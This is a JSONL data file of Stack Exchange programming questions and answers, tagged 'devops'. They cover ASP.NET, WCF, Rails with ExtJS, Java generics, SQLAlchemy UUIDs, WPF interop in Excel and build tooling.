{"id": "hf_28e2f4e9178c", "question": "<p>I need to make a change to an ASP.NET web service written a couple years ago on 2.0.  I call this web service from an old 1.1 web site.  I need to make some changes to the web service, so am thinking, should I rewrite this into a WCF service and if so, will I still be able to use it from my 1.1 web site?</p>\n", "question_body": "", "answer": "You can make a WCF service act and behave just like a traditional 1.1 ASMX web service, but is that what you want?\nI think you need to ask yourself what featires of WCF are motivating you to upgrade.\nDo you want to also expose the service as a REST-ful service?  Do you need to implement message level security?\nIf it's just to go to the latest technology for the sake of the latest technology, I'd say stick with ASMX web services if your requirements for message and protocol security aren't that high and you're working with mostly microsoft technologies.\nWriting a WCF service is regrettably more difficult than a plain-old asmx web service.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.742316"}
{"id": "hf_ef43d8b1951f", "question": "<p>Sybase db tables do not have a concept of self updating row numbers. However , for one of the modules , I require the presence of rownumber corresponding to each row in the database such that max(Column) would always tell me the number of rows in the table.</p>\n\n<p>I thought I'll introduce an int column and keep updating this column to keep track of the row number. However I'm having problems in updating this column in case of deletes. What sql should I use in delete trigger to update this column?  </p>\n", "question_body": "", "answer": "You can easily assign a unique number to each row by using an identity column. The identity can be a numeric or an integer (in ASE12+).\nThis will\nalmost\ndo what you require. There are certain circumstances in which you will get a gap in the identity sequence. (These are called \"identity gaps\", the best discussion on them is\nhere\n). Also deletes will cause gaps in the sequence as you've identified.\nWhy do you need to use max(col) to get the number of rows in the table, when you could just use count(*)? If you're trying to get the last row from the table, then you can do\n```\n```\nselect * from table where column = (select max(column) from table).\n```\n```\nRegarding the delete trigger to update a manually managed column, I think this would be a potential source of deadlocks, and many performance issues. Imagine you have 1 million rows in your table, and you delete row 1, that's 999999 rows you now have to update to subtract 1 from the id.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.765534"}
{"id": "hf_747da422b0ac", "question": "<p>We are developing a considerably big application using Ruby on Rails framework (CRM system) and are considering to rewrite it to use ExtJS so that Rails would just do the data handling, while ExtJS would do all the browser heavylifting in a desktop-like manner. </p>\n\n<p>Anyone has some experience and hints about what would be the best approach? Is ExtJS mature enough to be used in relatively big (and complex) applications? And what about the Rails part - what would be the best approach here?</p>\n\n<p>EDIT:</p>\n\n<p>Just to make it clear. I would prefer to do it in such a way that all the javascript client side application code is loaded at once (at the start up of the application, optimally as one compressed js file) and then just use ajax to send data to and from Rails app. Also, it would be nice to have ERB available for dynamic generation of the Ext apliccation elements.</p>\n", "question_body": "", "answer": "Ext is definitely mature enough to handle this situation. I'm currently working on a Rails project with a lot of Ext, and the hardest part has definitely been working with Rails's\n```\nto_json\n```\nto render JSON that Ext can read (for arrays, hashes, models, which failed validation, etc.)\nCheck out the ext_\n```\nscaffold\n```\nplugin for Rails. I started with this and hacked away at its\n```\nActiveRecord\n```\n/\n```\nActionView\n```\nextensions until it did what I needed it to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.789071"}
{"id": "hf_094625b81965", "question": "<p>Is there a best practice when it comes to setting client side \"onclick\" events when using ASP.Net controls?  Simply adding the onclick attribute results in a Visual Studio warning that onclick is not a valid attribute of that control.  Adding it during the Page_Load event through codebehind works, but is less clear than I'd like.</p>\n\n<p>Are these the only two choices?  Is there a right way to do this that I'm missing?</p>\n\n<p>Thanks!\nEric Sipple</p>\n", "question_body": "", "answer": "Setting the value for\n```\nWebControl.Attributes[\"onclick\"]\n```\nis okay. If ASP.NET needs a client-side\n```\nclick\n```\nhandler, it will concatenate the values, delimited by semi-colon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.824178"}
{"id": "hf_377b3555bdf9", "question": "<p>I have a BulletedList in asp.net that is set to DisplayMode=\"LinkButton\". I would like to trigger the first \"bullet\" from a javascript, can this be done? And if so, how?</p>\n", "question_body": "", "answer": "Say you have the BulletedList as\n```\n```\n<asp:BulletedList runat=\"server\" ID=\"MyLovelyBulletedList\" DisplayMode=\"LinkButton\">\n    <asp:ListItem Text=\"My Lovely Text 1\" />\n    <asp:ListItem Text=\"My Lovely Text 2\" />\n</asp:BulletedList>\n```\n```\n... then you can fire the \"onclick\" event like this (cross-browser):\n```\n```\nvar links = document.getElementById('<%= MyLovelyBulletedList.ClientID %>').getElementsByTagName('a');\n\nvar targetLink = links[0];\n\nif (targetLink.fireEvent)\n{\n    // IE\n    targetLink.fireEvent(\"onclick\");\n}\nelse if (targetLink.dispatchEvent)\n{\n    // W3C\n    var evt = document.createEvent(\"MouseEvents\");\n\n    evt.initMouseEvent(\"click\", true, true, window,\n        0, 0, 0, 0, 0, false, false, false, false, 0, null);\n\n    targetLink.dispatchEvent(evt);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.866587"}
{"id": "hf_34f08e3888a6", "question": "<p>When reading my RSS feed with the Thunderbird feed reader, some entries are duplicated. <a href=\"https://en.wikipedia.org/wiki/Google_Reader\" rel=\"nofollow noreferrer\">Google Reader</a> does not have the same problem.</p>\n<p>Here is the faulty feed:\n<a href=\"http://plcoder.net/rss.php?rss=Blog\" rel=\"nofollow noreferrer\">http://plcoder.net/rss.php?rss=Blog</a></p>\n<p>There is a problem, but where?</p>\n<p>I added a <a href=\"https://en.wikipedia.org/wiki/Globally_unique_identifier\" rel=\"nofollow noreferrer\">GUID</a>, but the problem remains. Other feeds do not duplicate like mine, so I will do rework on this module and replace this old good code.</p>\n<p>Conclusion: I completely reworked the RSS generator code, and it's OK. I think I was using a very old version of <a href=\"https://en.wikipedia.org/wiki/Resource_Description_Framework\" rel=\"nofollow noreferrer\">RDF</a>.</p>\n", "question_body": "", "answer": "Try adding a\n```\n<guid>\n```\ntag to each item, giving it a permalink.  i.e.:\n```\n```\n<item rdf:about=\"http://plcoder.net/?doc=2134&amp;amp;titre=mon-pc-se-la-pete\">\n  <link>http://plcoder.net/?doc=2134&amp;amp;titre=mon-pc-se-la-pete</link>\n  <guid>http://plcoder.net/?doc=2134&amp;amp;titre=mon-pc-se-la-pete</guid>\n  ...\n</item>\n```\n```\nWithout a GUID, if any of the content in the post changes, your RSS aggregator might think that it is a new post.  With the GUID, even if the content of that item changes, your RSS aggregator\nshould\njust update the post, instead of treating it as a new item.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.888590"}
{"id": "hf_6994cfe18b93", "question": "<p>This question is similar to my  earlier question.</p>\n\n<p>I have used ASP .Net in Visual Studio 2005 about 4 years ago. How long would it take to get back up to speed with the latest versions?</p>\n", "question_body": "", "answer": "Not very long. The major addition to VS 2008 is support for Linq, but you don't have to use this (or any of the new features).\nThe IDE is extremely similar to VS 2005.\nEssentially, 2005 targets the 3.0 framework, and 2008 target the 3.5 framework, but these are both just expansions of the 2.0 framework, and not new versions (unlike the change from 1.1 to 2.0).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.920792"}
{"id": "hf_cbdd8df25f35", "question": "<p>I am trying to find all matches in a string that begins with <code>| |</code>.  </p>\n\n<p>I have tried: <code>if ($line =~ m/^\\\\\\|\\s\\\\\\|/)</code> which didn't work. </p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You are escaping the pipe one time too many, effectively escaping the backslash instead.\n```\n```\nprint \"YES!\" if ($line =~ m/^\\|\\s\\|/);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.956316"}
{"id": "hf_f9adbd38a63d", "question": "<p>I'm creating a generic class and in one of the methods I need to know the Class of the generic type currently in use. The reason is that one of the method's I call expects this as an argument.</p>\n\n<p>Example:</p>\n\n<pre><code>public class MyGenericClass&lt;T&gt; {\n  public void doSomething() {\n    // Snip...\n    // Call to a 3rd party lib\n    T bean = (T)someObject.create(T.class);\n    // Snip...\n  }\n}\n</code></pre>\n\n<p>Clearly the example above doesn't work  and results in the following error: Illegal class literal for the type parameter T.</p>\n\n<p>My question is: does someone know a good alternative or workaround for this?</p>\n", "question_body": "", "answer": "Still the same problems : Generic informations are erased at runtime, it cannot be recovered. A workaround is to pass the class T in parameter of a static method :\n```\n```\npublic class MyGenericClass<T> {\n\n    private final Class<T> clazz;\n\n    public static <U> MyGenericClass<U> createMyGeneric(Class<U> clazz) {\n        return new MyGenericClass<U>(clazz);\n    }\n\n    protected MyGenericClass(Class<T> clazz) {\n        this.clazz = clazz;\n    }\n\n    public void doSomething() {\n        T instance = clazz.newInstance();\n    }\n}\n```\n```\nIt's ugly, but it works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.979701"}
{"id": "hf_68d86671bdbf", "question": "<p>I am doing .net programming in addition to c and c++ development and want more flexibility on my home machine.  I want to be able to have both Linux (probably Ubuntu) and Windows Vista on my home computer.  Is there a way I can install both and on boot be prompted for which one to start?  Is there a way to set Windows to default?</p>\n\n<p>I have seen this before in CS labs in undergrad.</p>\n\n<p>Also, I assume there would be no problem if I were to use Windows 32-bit along with Ubuntu 64-bit.  Any advise?</p>\n", "question_body": "", "answer": "You can dual boot, but I would recommend using a Virtual Machine for what you want to do.\nLook at\nVMWare\nand\nVirtual PC\n.\nFor more information on Virtual PC:\nhttp://en.wikipedia.org/wiki/Microsoft_Virtual_PC\nFor more information on VMWare:\nhttp://en.wikipedia.org/wiki/VMware_Workstation\nYou should note that dual booting Windows and Linux can be a little risky and is a bit permanent. Running in a Virtual Machine means that you can run the Linux install in a window and not worry about it affecting your development machine at all. The software will not know the difference, so your testing is not affected.\nConsider that the Virtual Machine is like a sandbox, where you can try new and different things out, without fear of consequences.\nVirtual machines do run with a bit of overhead, and therefore you should not expect to be playing games or anything through them. I would say it is very much like logging into a machine through Remote Desktop (good LAN connection) as far as performance goes.\nEDIT: There is also\nVirtualBox\nthat you could check out. Thanks for the helpers in my comments for that one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.003357"}
{"id": "hf_30b7bee696a7", "question": "<p>Using JDK1.5 how does one send a binary attachemnt (such as a PDF file) easily using the JavaMail API?</p>\n", "question_body": "", "answer": "If you want to do it easily I'd suggest using\nCommons-Email\n! It's built on the JavaMail API, but it makes it much simpler.\nThere is a sample in the\nUser Guide\non how to send email with attachments... it's much easier than using the standard JavaMail API!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.079325"}
{"id": "hf_c2ca36b2780a", "question": "<p>How to unit test the windows workflows?</p>\n", "question_body": "", "answer": "MS dropped the ball on making workflows easily mockable and testable.  If you want to do thorough tests on your custom activities you'll need to purchase a mocking framework that can mock sealed types such as\nTypeMock.\nOtherwise, you'll have to write your code around the limitations of Workflow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.198953"}
{"id": "hf_2f8c1f4174c6", "question": "<p>Specifically MSSQL 2005.</p>\n", "question_body": "", "answer": "Some links to possible answers:\nhttp://www.extremeexperts.com/sql/Tips/DateTrick.aspx\nhttp://www.devx.com/tips/Tip/14405\nhttp://blog.sqlauthority.com/2007/08/18/sql-server-find-last-day-of-any-month-current-previous-next/\nhttp://www.sqlservercurry.com/2008/03/find-last-day-of-month-in-sql-server.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.222038"}
{"id": "hf_0f28eaae7e04", "question": "<p>This is a question for anyone who has the pleasure to work in both Java and C#.</p>\n\n<p>Do you find that you have to make a mental context switch of some kind when you move from one to the other?</p>\n\n<p>I'm working in both at the moment and because the syntax and libraries are so similar and yet subtly different I'm finding it frustrating when i move from one to the other.</p>\n\n<p>This is more so than I've experienced moving between any other programming languages.</p>\n\n<p>Does anyone have any tips for making your brain work differently for languages that are so similar?</p>\n", "question_body": "", "answer": "Yes, I have to make a mental context switch - because LINQ isn't available in Java :(\nBeyond that, there are little things like\n```\nforeach (X x in y)\n```\nvs\n```\nfor (X x : y)\n```\nwhich often trip me up, but not a\nhuge\namount otherwise.\nAs for a tip to make your brain work differently: don't give into the temptation to use the naming conventions of the other language. I find that using camel-cased method names in Java is a good nudge to my brain, for example.\nEDIT: The differences in terms of generics are important and can occasionally be brain-warping, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.242981"}
{"id": "hf_ea1dd86657a8", "question": "<p>I need to determine the highest .NET framework version installed on a desktop machine from C\\C++ code.  Looks like I can iterate the folders under <code>%systemroot%\\Microsoft.NET\\Framework</code>, but that seems kind of error prone.  Is there a better way?  Perhaps a registry key I can inspect?  Thanks.</p>\n", "question_body": "", "answer": "Use the\nWindows Registry\nlocation\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.393733"}
{"id": "hf_0e2e98ddb11b", "question": "<p>im trying to locate the position of the minimum value in a vector, using STL find algorithm (and the min_element algorithm), but instead of returning the postion, its just giving me the value. E.g, if the minimum value is it, is position will be returned as 8 etc. What am I doing wrong here?</p>\n\n<pre><code>int value = *min_element(v2.begin(), v2.end());\ncout &lt;&lt; \"min value at position \" &lt;&lt; *find(v2.begin(), v2.end(), value);\n</code></pre>\n", "question_body": "", "answer": "```\nmin_element\n```\nalready gives you the iterator, no need to invoke\n```\nfind\n```\n(additionally, it's inefficient because it's twice the work). Use\n```\ndistance\n```\nor the\n```\n-\n```\noperator:\n```\n```\ncout << \"min value at \" << min_element(v2.begin(), v2.end()) - v2.begin();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.452467"}
{"id": "hf_45b11a0ad2c9", "question": "<p>I have parsed XML using both of the following two methods...</p>\n\n<ul>\n<li>Parsing the XmlDocument using the object model and XPath queries.</li>\n<li>XSL/T</li>\n</ul>\n\n<p>But I have never used...</p>\n\n<ul>\n<li>The Linq Xml object model that was new to .Net 3.5</li>\n</ul>\n\n<p>Can anyone tell me the comparative efficiency between the three alternatives?</p>\n\n<p>I realise that the particular usage would be a factor, but I just want a rough idea. For example, is the Linq option massively slower than the others?</p>\n", "question_body": "", "answer": "I haven't actually tested it, but Linq is primarily a compiler code-gen type feature, and so it should be comparable to using an XmlDocument and XPath queries.\nThe primary value of Linq is that it provides compile-time verification of your query statements, which neither XPath nor XSLT can provide.\nI would think that if performance is a concern, your decision would be based on the task at hand.  For example, retrieving a single value from an XML document might be fastest using a single XPath query, but translating XML data into an HTML page would be faster using XSLT.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.506662"}
{"id": "hf_62efb7ad7605", "question": "<p>Files:</p>\n\n<p>Website\\Controls\\map.ascx</p>\n\n<p>Website\\App_Code\\map.cs</p>\n\n<p>I'd like to create a strongly typed instance of map.ascx in map.cs</p>\n\n<p>Normally, in an aspx, you would add a &lt;%Register... tag to be able to instantiate in codebehind. Is this possible in an app_code class?\nI'm using .NET 3.5/Visual Studio 2008</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Normally, I'd do something like this (assuming your type is \"Map\" and that you have the appropriate \"Inherits\" declaration in your .ascx file):\n```\n```\nMap map = (Map)LoadControl(\"~/Controls/map.ascx\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.536604"}
{"id": "hf_806480cb2ca1", "question": "<p>I'm working on a free software (bsd license) project with others. We're searching for a system that check out our source code (svn) and build it also as test it (unit tests with Check / other tools).</p>\n\n<p>It should have a webbased interface and generate reports.</p>\n\n<p>I hope we don't have to write such a system from null by ourselves...</p>\n", "question_body": "", "answer": "I don't think that there's a buildsystem that is capable of doing all this tasks - but what about combining them?\nSCons\nis a nice buildsystem that runs on every machine that has\nPython\n. It can even build directly from\nSVN\n. For automatic building you can try\nBuildbot\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.582771"}
{"id": "hf_cb691446eb6f", "question": "<p>I'm making a report in Access 2003 that contains a sub report of related records.  Within the sub report, I want the top two records only.  When I add \"TOP 2\" to the sub report's query, it seems to select the top two records before it filters on the link fields.  How do I get the top two records of only those records that apply to the corresponding link field?  Thanks.</p>\n", "question_body": "", "answer": "I've got two suggestions:\n1) Pass your master field (on the parent form) to the query as a parameter (you could reference a field on the parent form directly as well)\n2) You could fake out rownumbers in Access and limit them to only rownum <= 2. E.g.,\n```\n```\nSELECT o1.order_number, o1.order_date,\n    (SELECT COUNT(*) FROM orders AS o2\n        WHERE o2.order_date <= o1.order_date) AS RowNum\n    FROM\n        orders AS o1\n    ORDER BY o1.order_date\n```\n```\n(from\nhttp://groups.google.com/group/microsoft.public.access.queries/msg/ec562cbc51f03b6e?pli=1\n)\nHowever, this kind of query might return an read only record set, so it might not be appropriated if you needed to do the same thing on a Form instead of a Report.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.653167"}
{"id": "hf_4d957e659e3a", "question": "<p>When i deploy a rails application in production mode, it appends a date-time string as a query param to the end of all the static asset urls. This is to prevent browsers using old-out of date cahed copies of the assets after I redeploy the application. </p>\n\n<p>Is there a way to make rails use the old time stamps for the assets that have not changed (and <strong>only</strong> the ones that have not changed) since the last deployment. I want to do this to prevent users having to redownload those assets that have not changed.</p>\n", "question_body": "", "answer": "I think you can use ENV['RAILS_ASSET_ID'] to alter the cache-busting asset ID. Unfortunately, this is for all assets.\nBut if it's not set, it uses the asset's source modification time. If that file hasn't been modified since the last time you used it, it shouldn't be a problem.\nIf the asset ID is changing when they haven't been changed, it might be because of your deployment process altering the modification time and maybe you could look at tweaking that.\nLastly, you can always\noverride rails_asset_id with your own custom method\n.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.681651"}
{"id": "hf_f987aceadfdc", "question": "<p>Looking into System.Data.DbType there is no SqlVariant type there. SqlDataReader, for example, provides the GetString method for reading into string variable. What is the appropriate way to retrieve data from the database field of type sql_variant, presumably into object? </p>\n\n<p>The aim is to read data stored as <a href=\"http://msdn.microsoft.com/en-us/library/ms173829.aspx\" rel=\"nofollow noreferrer\">sql_variant type</a> in database. Not to assign the value into variable of object type. I mentioned object type variable because I thing the sql_variant, if possible, would go into such type.</p>\n", "question_body": "", "answer": "If you want to put the data into a variable of type object then (simplified):\n```\n```\nobject result = null;\nresult = reader[\"columnNameGoesHere\"];\n```\n```\nShould do the trick.\nThere's also a good explanation of the various different methods of retrieving the contents of a given columns current record in\nthis DevHood tutorial\n. The summary table of data type mappings at the end may come in handy too!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.704185"}
{"id": "hf_7335fd4d79bd", "question": "<p>I have an internal web app with an image at the top of the page, currently containing some english text with drop shadows. I now need to provide localized versions of this page for various languages. My main choices are:</p>\n\n<p><UL>\n<LI>Have a different graphic per supported language, containing the localized text.</LI>\n<LI>Use CSS to position localized text over a plain image, with a <A HREF=\"http://www.workingwith.me.uk/articles/css/cross-browser-drop-shadows\" rel=\"nofollow noreferrer\">complex CSS technique</A> to get drop shadows in most current browsers.</LI>\n</UL></p>\n\n<p>Are there other options? This is for an educational environment, I don't get to control the browser used by the students.</p>\n\n<p>I did try both removing the drop shadows from the graphic, and also moving the text into in a header in the HTML, but neither was appealing. People said it looked like a cheap knockoff of the current page, which wounds my pride.</p>\n", "question_body": "", "answer": "Personally I'm a big fan of CSS techniques for visual effects like this. The big benefit is that you are offloading the processing of the effect to the client side, saving you bandwith and content creation time (custom text images for each locale is a big order!), and making the page download faster for the user.\nThe only reason to avoid it is if you absolutely MUST have the drop shadows on very old (IE5) browsers with next to no CSS support.\nEdit: Just thought of something - I a few cases like this where I need a specific font or some exact text effect I've used PHP to render the text, with effects, to an image and cache it server side. That way you avoid the content creation process and gain wider browser support in exchange for bandwidth and server CPU time. It's your call if the tradeoff is acceptable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.726565"}
{"id": "hf_0c8e5bf750b0", "question": "<p>I have a strange bug with WPF Interop and an Excel Addin. I'm using .Net 3.5 SP1.</p>\n\n<p>I'm using Add-in Express to create a Custom Task Pane for Excel 2003. Within that taskpane I'm using ElementHost to host a WPF UserControl. The UserControl simply contains a Grid with a TextBox and ComboBox. My problem is that whilst everything displays properly, the ComboBox won't stay dropped-down unless I hold the mouse down over the down-arrow.</p>\n\n<p>I don't believe this is necessarily related to Add-in Express because I've had a similar problem when I tried displaying a WPF window modelessly in Excel.</p>\n\n<p>A second problem is that the ComboBox seems reluctant to give up focus. If I click it, the text area goes grey to indicate that it has focus, but I can't move focus anywhere else in the window. The only way to wrest focus away is to move the mousewheel.</p>\n\n<p>Anybody else had a similar problem, and managed to fix it?</p>\n", "question_body": "", "answer": "Add-in Express looked into this for me, and it turns out to have something to do with the Window style of the Task Pane that gets added to Excel. If you turn off the WS_CHILD flag in the Windows CreateParams then Combo Boxes and other popups work as expected.\nThey gave me this snippet of code to add to my ADXExcelTaskPane:\n```\n```\nprivate const uint WS_CHILD = 0x40000000;\nprivate const uint WS_CLIPCHILDREN = 0x02000000;\nprivate const uint WS_CLIPSIBLINGS = 0x04000000;\n\nprivate CreateParams _CreateParams = new CreateParams();\nprotected override CreateParams CreateParams\n{\n    get\n    {\n        _CreateParams = base.CreateParams;\n        if (!DesignMode)\n            _CreateParams.Style = (int)(WS_CLIPCHILDREN | WS_CLIPSIBLINGS); //| WS_CHILD\n\n        return _CreateParams;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.772868"}
{"id": "hf_da5e1dfd6834", "question": "<p>Is there a way to define a column (primary key) as a <a href=\"https://en.wikipedia.org/wiki/Universally_unique_identifier\" rel=\"noreferrer\">UUID</a> in <a href=\"http://www.sqlalchemy.org/\" rel=\"noreferrer\">SQLAlchemy</a> if using <a href=\"http://www.postgresql.org/\" rel=\"noreferrer\">PostgreSQL</a> (Postgres)?</p>\n", "question_body": "", "answer": "You could try writing a\ncustom type\n, for instance:\n```\n```\nimport sqlalchemy.types as types\n\nclass UUID(types.TypeEngine):\n    def get_col_spec(self):\n        return \"uuid\"\n\n    def bind_processor(self, dialect):\n        def process(value):\n            return value\n        return process\n\n    def result_processor(self, dialect):\n        def process(value):\n            return value\n        return process\n\ntable = Table('foo', meta,\n    Column('id', UUID(), primary_key=True),\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.807903"}
{"id": "hf_c26b258612ef", "question": "<p>I would like to add a BuildListener to my headless build process, which is building an Eclipse product. The docs on how to do this are, shall we say, a bit scanty. I think I need to put my custom jar in a plugin and then use the org.eclipse.ant.core.extraClasspathEntries extension point to make that jar visible to Ant. But everything I have tried results in <pre> [myClass] which was specified to be a build listener is not an instance of org.apache.tools.ant.BuildListener.</pre></p>\n\n<p>My class implements the BuildListener interface. Various  postings seem to indicate that this means my class is visible-to/loaded-by the Plugin classloader rather than the Ant classloader. But I thought the whole point of the extension point was to make jars visible to Ant...</p>\n\n<p>Can anyone shed light on what I'm doing wrong?\nAdditional info: I am trying to run this build from the Eclipse IDE at the moment using the AntRunner application.</p>\n", "question_body": "", "answer": "I had this problem when I had two plugins providing an\n```\nant.jar\n```\n.\nMake sure you use the\n```\norg.apache.ant\n```\nplugin and that there is no other plugin providing another\n```\nant.jar\n```\n.\nAnother thing I just stumbled upon: The jar containing your contribution must not be in the plugins classpath (Runtime -> Classpath).\nSee\nEclipse Bug 34466\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.877557"}
{"id": "hf_278e830af285", "question": "<p>I'm a big fan of Capistrano but I need to develop an automated deployment script for a Java-only shop.  I've looked at Ant and Maven and they don't seem to be well geared towards remote administration the way Capistrano is - they seem much more focused on simply building and packaging applications.  Is there a better tool out there?</p>\n", "question_body": "", "answer": "I don't think there is a Capistrano-like application for Java Web Applications, but that shouldn't really keep you from using it (or alternatives like Fabric) to deploy your applications. As you've already said, Ant is more a replacement for GNU Make while Maven is primary a buildout/dependency-management application.\nSince Java Web Applications are thanks to the .war container less dependent on external libraries, you can (depending on your application server) make deploying an application as easy as running a simple HTTP PUT-request.\nBut if you require additional steps,\nFabric\nhas worked very well for me so far and I assume that Capistrano also offers generic shell-command, put and get operations. So I wouldn't look for too long for an alternative if what you already have already works :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.912247"}
